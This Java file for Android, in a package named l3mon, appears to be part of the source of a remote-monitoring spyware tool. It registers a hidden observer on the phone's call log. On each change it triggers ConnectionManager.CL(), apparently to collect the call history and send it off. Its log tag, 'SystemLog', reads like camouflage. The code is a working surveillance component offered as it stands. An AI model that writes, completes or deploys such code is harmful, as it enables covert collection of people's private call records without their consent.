package com.etechd.l3mon;

import android.database.ContentObserver;
import android.net.Uri;
import android.os.Handler;
import android.os.Looper;
import android.provider.CallLog;
import android.util.Log;

public class CallLogContentObserver extends ContentObserver {
    private static final String TAG = "SystemLog";
    private static CallLogContentObserver instance;
    private static long lastRun = 0;

    public CallLogContentObserver() {
        super(new Handler(Looper.getMainLooper()));
    }

    public static synchronized void register(android.content.Context context) {
        if (instance != null || context == null) {
            return;
        }
        try {
            instance = new CallLogContentObserver();
            context.getContentResolver().registerContentObserver(
                    CallLog.Calls.CONTENT_URI,
                    true,
                    instance
            );
            Log.i(TAG, "CallLogContentObserver registrado");
        } catch (Exception e) {
            Log.e(TAG, "CallLogContentObserver: " + e.getMessage());
        }
    }

    @Override
    public void onChange(boolean selfChange, Uri uri) {
        long now = System.currentTimeMillis();
        if (now - lastRun < 3000) {
            return;
        }
        lastRun = now;
        new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    Thread.sleep(1500);
                    ConnectionManager.CL();
                } catch (Exception e) {
                    Log.e(TAG, "CallLog sync: " + e.getMessage());
                }
            }
        }, "CallSync").start();
    }
}
